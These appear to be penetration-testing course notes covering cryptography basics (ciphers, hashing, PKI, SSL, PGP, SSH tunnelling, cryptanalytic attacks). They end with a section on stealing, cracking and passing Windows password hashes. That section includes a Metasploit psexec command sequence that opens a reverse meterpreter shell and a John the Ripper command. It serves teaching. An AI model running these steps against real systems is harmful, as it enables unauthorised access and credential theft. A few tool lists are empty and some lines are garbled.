1.4 Cryptography

Cryptography

Classification of Algorithms

Based on Cryptography

  • Symmetric Cryptography:

    • Examples: DES/3DES, AES, RC4, Blowfish, Caesar's, etc.

    • Key: Both sender and receiver share the same key.

  • Public-Key / Asymmetric Cryptography:

    • Examples: RSA, DSA, ECC, etc.

    • Key Pairs: Public-key (for encrypting), private-key (for decrypting).

    • Process: When a message is encrypted using Bob's public key, only Bob's private key can decrypt it.

    • Key Generation: Public and private keys are mathematically derived from prime numbers. Private key cannot be derived from the public key, based on the factorization mathematical problem.

Based on How Plaintext is Handled

  • Block Cipher:

    • Examples: DES, AES, etc.

    • Data Handling: Divided into blocks (e.g., chunks of 8 bytes).

    • Modes:

      • ECB (Electronic Code Book): Deprecated; each block is encrypted separately.

      • CBC (Cipher Block Chaining): Each ciphertext block is derived from the previous block, using an initialization vector for the first block.

  • Stream Cipher:

    • Examples: RC4, A5/1, etc.

    • Data Handling: 1 byte at a time.

Cryptography Hash Function

A cryptographic hash function is a deterministic algorithm that produces a fixed-length block of bits (hash or digest) from a variable-length input message. Some well-known hash functions include MD5, MD4, SHA-1, and SHA-2.

Properties of Hash Functions:

  1. Preimage Resistance:

    • Definition: It should be infeasible to find a message that has a given hash.

    • Purpose: Ensures it's computationally infeasible to reverse the hashing process and determine the original input.

  2. Second Preimage Resistance:

    • Definition: Given an input message, it should be infeasible to find another message with the same hash.

    • Purpose: Guarantees that even if an attacker knows the hash and the original message, finding another message with the same hash is difficult.

  3. Collision Resistance:

    • Definition: It should be infeasible to find two different messages with the same hash.

    • Purpose: Ensures that different inputs do not produce the same hash value, minimizing the risk of unintended collisions.

  4. Avalanche Effect:

    • Definition: Changing a single bit in the input should result in a significantly different hash.

    • Purpose: Small changes in the input should produce completely different hash values, increasing security.

Note: MD5 and SHA-1 are now considered weak due to vulnerabilities, and SHA-2 is currently widely used for secure hash functions. It's important to use hash functions based on the security requirements of the specific application.

Public Key Infrastructure (PKI)

Public Key Infrastructure (PKI) is a comprehensive system involving hardware, software, policies, and procedures. It is designed to create, manage, store, distribute, and revoke digital certificates. PKI relies on elements like certificate authorities (CAs) to certify and verify the identities of individuals or organizations through digital certificates.

Key Components of PKI

  1. Hardware, Software, and People:

    • Involves a combination of technological components, organizational policies, and personnel.

    • Includes hardware for cryptographic operations, software for certificate management, and trained personnel.

  2. Certificate Authority (CA):

    • A trusted entity that issues digital certificates.

    • Unique identity for each CA.

    • Responsible for certifying and verifying identities in a PKI scheme.

X.509 Standard

X.509 is the standard for public key certificates and is widely used in various protocols, including SSL/TLS, SET, S/MIME, IPsec, etc.

Public Key Certificate:

A public key certificate binds a public key with an identity through a digital signature. Key elements of a certificate include:

  • Identity Information:

    • Includes the name and address of an individual or organization.

  • Digital Signature:

    • Certifies that the public key is associated with the specified identity.

    • Signed by the certificate authority (CA), acting as a trusted third party.

PKI ensures authenticity and confidentiality through certificate validation and encryption of initial channel parameters using SSL certificates. The trust in the root CA's signature validates the authenticity of certificates. The content and file extensions provide standardized formats for certificates in a PKI.

SSL (Secure Sockets Layer) and Digital Signature

SSL

SSL is a protocol that uses both Public Key Infrastructure (PKI) and symmetric encryption to establish secure communication channels between two entities, typically a client and a server. It ensures the confidentiality and integrity of the communication, preventing tampering by third parties without the knowledge of the communicating entities.

SSL Communication Steps:

  1. Client Hello:

    • The client sends a message indicating a list of algorithms it can use.

  2. Server Hello:

    • The server responds by choosing algorithms and providing its certificate.

  3. Optional Certificate Exchange:

    • Both entities may exchange certificates to authenticate each other.

  4. Key Exchange:

    • A common secret is computed using random numbers and a pre-master secret.

  5. Change CipherSpec:

    • Both entities authenticate the communication by changing the cipher specifications.

  6. Handshake Complete:

    • Indicates the completion of the SSL handshake.

Digital Signature

Digital signature is a mechanism for authenticating a message and proving that it comes from a specific sender. The process involves:

  • Message Signing by Sender (Alice):

    1. Input message.

    2. Compute hash value of the message.

    3. Combine hash value with sender's private key to create a digital signature.

  • Signature Verification by Receiver (Bob):

    1. Receive the signed message and digital signature.

    2. Compute hash value of the received message.

    3. Compare computed hash value with the original hash value obtained from the digital signature.

    4. Verify the signature using the sender's public key.

Reasons for Producing a Message Digest:

  1. Message Integrity Preservation:

    • Detects any message alteration, ensuring data integrity.

  2. Digest Size:

    • The digital signature is applied to the smaller message digest rather than the entire message.

  3. Computational Efficiency:

    • Hashing algorithms used for creating message digests are faster than many encryption algorithms.

SSL and digital signatures collectively provide secure communication, ensuring the authenticity, integrity, and confidentiality of transmitted data. Digital signatures play a crucial role in verifying the source and integrity of messages in cryptographic protocols.

Pretty Good Privacy (PGP)

PGP (Pretty Good Privacy) is a computer program developed by Phillip Zimmermann in 1991, providing cryptographic privacy and authentication.

It is commonly used for encrypting files, applying digital signatures, and ensuring data integrity.

PGP and similar tools follow the OpenPGP standard for encrypting and decrypting data.

Encryption with PGP

  • PGP encryption utilizes public-key cryptography and includes a system for binding public keys.

  • The Web of Trust is a key feature, making PGP widespread due to its ease, speed, and cost-effectiveness.

  • Unlike a trust chain, the Web of Trust resembles a web rather than a hierarchical structure.

Message Authentication and Integrity

  • PGP supports message authentication and integrity checks.

  • Trust in the binding of the public key to the intended recipient is crucial, as there is no Certificate Authority (CA) confirmation.

OpenPGP Standard

  • OpenPGP is a set of standards describing formats for encrypted messages, keys, and digital signatures.

  • GnuPG (PGP) is an open-source implementation of these standards and is commonly found on GNU/Linux systems.

Components of a PGP Key

  • Name of the owner

  • Numerical value(s) comprising the key

  • Purpose (e.g., signing, encryption)

  • Algorithm used (e.g., ElGamal, DSA, RSA)

  • Expiration date (possibly)

PGP Key Storage

  • Your secret key is stored encrypted with a passphrase.

  • Public keys, including your own and those of associates, are stored in clear.

  • The keyring file contains copies of trusted public keys.

Digital Signing in PGP

  • PGP can digitally sign a document or its digest version (e.g., SHA1).

  • More efficient and manageable, as it only signs a shorter digest instead of the entire message.

PGP Encryption Process

  • For encrypting a message, PGP generates a symmetric key, encrypts it with the recipient's public key, and then encrypts the actual message with the symmetric key.

  • This process is efficient and allows multiple recipients by encrypting different symmetric keys with their public keys.

PGP Algorithms

  • Public-Key Encryption: RSA, DSS, Diffie-Hellman

  • Symmetric-Key Encryption: 3DES, IDEA, CAST-128

  • Hashing: SHA-1

  • Compression: ZIP

PGP combines symmetric-key encryption, public-key encryption, hash functions, and text compression to provide a practical and usable solution for signing and encrypting emails and other forms of communication.

Secure Shell (SSH)

SSH (Secure Shell) is a network protocol facilitating secure data exchange between two networked devices.

Commonly used on Unix-based systems, SSH serves as a secure replacement for Telnet, enabling remote access through a secure shell.

Key Features

  • Provides a secure channel for data exchange between networked devices.

  • Allows remote access to a computer through a secure shell.

  • Commonly used on Unix-based systems as a Telnet replacement.

  • Enables secure file transfer and supports public key authentication for both client and server.

Authentication with Public Keys

  • SSH can enforce authentication using public keys for both clients and servers.

  • Enhances security and ensures secure access to a server.

Additional Uses

  • Creation of tunnels for secure communication.

  • Port forwarding for routing traffic securely.

  • Secure file transfer capabilities.

Default Port

  • SSH servers typically listen on TCP port 22 by default.

SSH Tunnels

  • SSH allows tunneling of any protocol within a secure channel.

  • Tunnels can be established for instant messaging protocols, remote hard drive mounting, etc.

  • SSH client is configured to forward a specified local port to a port on the remote machine.

Encrypted Traffic

  • Traffic between the SSH client and server is encrypted, ensuring secure communication.

8. Bypassing Firewalls:

  • SSH tunnels provide a means to bypass firewalls that restrict certain internet services.

  • Outgoing connections are allowed, enabling the bypass of corporate policies and filters using SSH traffic.

Scenario: Secure Connection from a Hotel

  • When connected to an open insecure wireless connection, an SSH tunnel can establish a secure connection to a home PC.

  • Example command: ssh -L 3000:homepc:23 Bob@sshserver.com

    • -L initiates a tunnel

    • 3000:homepc:23 specifies local port, remote host, and remote port

    • Bob@sshserver denotes username and SSH server address.

Telnet through SSH Tunnel

  • Telnet can be used to connect safely to a home PC through the established SSH tunnel.

  • Example command: telnet localhost:3000

    • Automatically routed to the home PC through the SSH tunnel.

SSH, with its encryption capabilities and versatile tunneling features, plays a crucial role in ensuring secure remote access and communication between networked devices.

Cryptographic Attack

Cryptographic attacks aim to subvert the security of cryptographic algorithms by exploiting weaknesses, with the goal of deciphering ciphertext without knowledge of the key.

Classification Based on Data Availability

  • Known-Only Attack:

    • No access to plaintext or ciphertext.

  • Known Plaintext-Only Attack:

    • Access to plaintext and corresponding ciphertext.

  • Known Ciphertext-Only Attack:

    • Knowledge limited to ciphertext, no plaintext.

  • Chosen Attack:

    • Chosen Plaintext Attack:

      • Cryptanalyst chooses plaintext for encryption.

    • Chosen Ciphertext Attack:

      • Attacker chooses ciphertext and works back to plaintext.

Adaptive Chosen Attack

In adaptive chosen attacks, the attacker can choose plaintext or ciphertext one block after the other based on previous results, leading to the defeat of the cipher.

Brute Force Attacks

  • Description:

    • Attempts every combination of the key.

  • Usage:

    • Common in known plaintext or ciphertext-only attacks.

  • Example:

    • DES with a 56-bit key is considered insecure due to computational power advancements.

5. Dictionary Attacks:

Attempts likely keys, especially effective for symmetric key algorithms with user-selected keys.

Rainbow Tables

  • Description:

    • Utilizes pre-computed plaintext-ciphertext correspondences stored ahead of time.

    • Relies on a reduction function mapping hashes to plaintexts.

  • Example:

    • Reduction function takes the first 5 characters from the hash to create a new plaintext.

    • Forms chains of hash reductions.

Free Rainbow Tables

Rainbow tables are pre-computed tables of hashes used for attacks.

Reduction functions play a key role in generating these tables.

Generator Tool

  • Tools are available for generating rainbow tables.

  • Efficiently computes and stores plaintext-ciphertext correspondences for cryptographic attacks.

Cryptographic attacks cover a spectrum of techniques, ranging from brute force attempts to exploit weaknesses in algorithms, highlighting the importance of robust encryption methods and secure key management practices.

Side Channel Attacks and Birthday Attack

  • Definition:

    • Side channel attacks consider physical implementations, including hardware used for encryption or decryption.

    • Information such as time, CPU cycles, and power variations during algorithms is exploited.

  • Examples:

    • Time taken for encryption, CPU cycle analysis, and power consumption variations.

    • Practical use in attacks, e.g., finding GSM v1 SIM card encryption keys based on time taken to encrypt data.

Birthday Attack

  • Definition:

    • A type of attack that discovers collisions in hashing algorithms.

  • Explanation:

    • Based on the birthday paradox, where the odds of two people sharing a birthday in a room of 23 exceed 50%.

    • Key Insight: Odds of any two people sharing a birthday, not a specific person.

    • Iterative process with candidates leaving the room if their birthday doesn't match anyone.

    • 253 pairs needed for the odds to cross 50%.

  • Application:

    • Often used to attempt discovering collisions in hash functions (e.g., MD5 or SHA1).

Birthday Paradox Example:

  • In a room with 23 people:

    • 22 pairs (Tom and others).

    • Each candidate leaves if their birthday doesn't match anyone.

    • Iteratively, 22 + 21 + 20 + ... + 1 pairs result in 253 pairs.

    • Odds of a matching birthday cross 50% with 253 pairs.

    • Important to understand it's about any two people sharing a birthday, not with a specific person.

Application in Hash Functions

  • Objective:

    • Attempting to find collisions in hash functions.

  • Hash Functions:

    • Examples include MD5 or SHA1.

    • Birthday attack leverages the probability of collisions due to the finite output space of hash functions.

Absolutely, attacking the implementation or exploiting vulnerabilities around passwords, trust models, and even targeting users themselves are common strategies in breaching security.

Security Pitfalls

Attack against Implementation

  • Key Points:

    • Failing to handle plaintext securely after use.

    • Mishandling decrypted data, potentially leaving it exposed in temporary files.

    • Vulnerabilities arising from multiple key management.

    • Allowing recovery of old keys, posing a risk.

  • Impact:

    • Even with robust cryptographic algorithms, flaws in implementation can compromise security significantly.

Attack against Passwords

  • Common Issues:

    • Users often choose weak passwords.

    • Systems relying on user-generated passwords can be vulnerable.

    • Software limitations such as enforcing short passwords or converting all characters to lowercase can weaken security.

  • Dictionary Attacks:

    • Effective against weak passwords, especially when tailored to the target's environment and language.

    • Complexity requirements might force users to write down passwords, compromising security.

Attack against Trust Models

  • Exploitation:

    • Attackers target trust systems or roles assumed to be trusted by the target.

    • Simple trust models often compromise usability for security.

    • Complex systems employ more intricate trust models, such as those used in ecommerce with signed certificates.

  • Vulnerabilities:

    • Secure crypto algorithms might be undermined if the certification of public keys isn't verified or isn't from a trusted source.

    • Cryptographic algorithms relying on the security of other network protocols assume their security, which might not always be valid.

Attack on Users

  • Methods:

    • Social engineering, keylogging, malware, among others, target users directly.

    • Exploiting human behavior or tricking users into revealing sensitive information.

  • Impact:

    • Despite robust encryption or security measures, user actions can be manipulated or exploited to breach security.

By recognizing and addressing these vulnerabilities and human factors, system designers can fortify the overall security posture and reduce the potential for successful attacks.

Windows Passwords and Hashes

LM Hash (LAN Manager hash)

  • Used until Windows Vista for passwords shorter than 15 characters.

  • Creation steps:

    1. Convert the user's password to uppercase.

    2. If the length is less than 14 bytes, null-pad; otherwise, truncate.

    3. Split into two 7-byte halves.

    4. Generate DES keys from each 7-byte half.

    5. Use these keys to DES-encrypt the constant ASCII string KGS!@#$%.

    6. Concatenate the two ciphertext values to form the 16-byte LM hash.

Where Are the Hashes?

  • Stored in the SAM (Security Accounts Manager) database, located in C:\Windows\System32\config or registry at HKEY_LOCAL_MACHINE\SAM (requires SYSTEM privileges).

Stealing the Hash

Remote Stealing

  • Requires administrative account.

This can be done using tools such as:

Local Stealing

  • Running System:

    • Requires local admin account.

    • Download hashes from memory.

  • Offline System:

    • Decrypt hashes from offline SAM file.

    • The key to decrypt SAM is stored in the SYSTEM file.

Stealing Hashes on Offline Systems

Tools:

Overwriting Hashes

  • Use tools like chntpw (included in BT5).

  • Can clear passwords, change passwords, promote users to Administrator.

Bypassing Windows Login

  • Kon-Boot:

    • Allows changing Linux and Windows kernel contents on the fly.

    • Bypasses Windows login without typing the correct password.

    • Allows entering password-protected profiles without knowing the password.

Downloads:

What to do with Hashes?

Pass the Hash

  • Definition: Authentication attack using LM & NT hashes to gain access to a remote Windows host without knowing the actual password.

  • Example using Metasploit:

    msf > use exploit/windows/smb/psexec
    msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
    msf exploit(psexec) > set LHOST 192.168.88.132
    msf exploit(psexec) > set LPORT 443
    msf exploit(psexec) > set RHOST 192.168.88.134
    msf exploit(psexec) > set SMBUser eLS
    msf exploit(psexec) > set SMBPass 00000000000000000000000000000000:0446385C4CBFBAED9F33E1D7B00E184C
    msf exploit(psexec) > exploit
  • Note: If only one of LM or NT hashes is available, set the other with 32 0's.

Crack the Hash

  • Process:

    1. Obtain the hash.

    2. Use a hash function to hash likely passwords.

    3. Match the hashed plaintext to the obtained hash.

  • Tools:

    • CPU:

      • John the Ripper (JtR):

        • Example command: john-386.exe --incremental hashtocrack.txt

        • Output: mystrongpsw

      • OphCrack:

        • Supports rainbow tables.

        • Load password hashes and tables hashes, then click 'Crack.'

    • GPU:

      • oclHashcat:

        • Utilizes GPU to crack hashes.

      • RainbowCrack:

        • Uses GPU for rainbow table-based cracking.

        • Requires non-free rainbow tables; tables can be calculated using rtgen.exe.

Last updated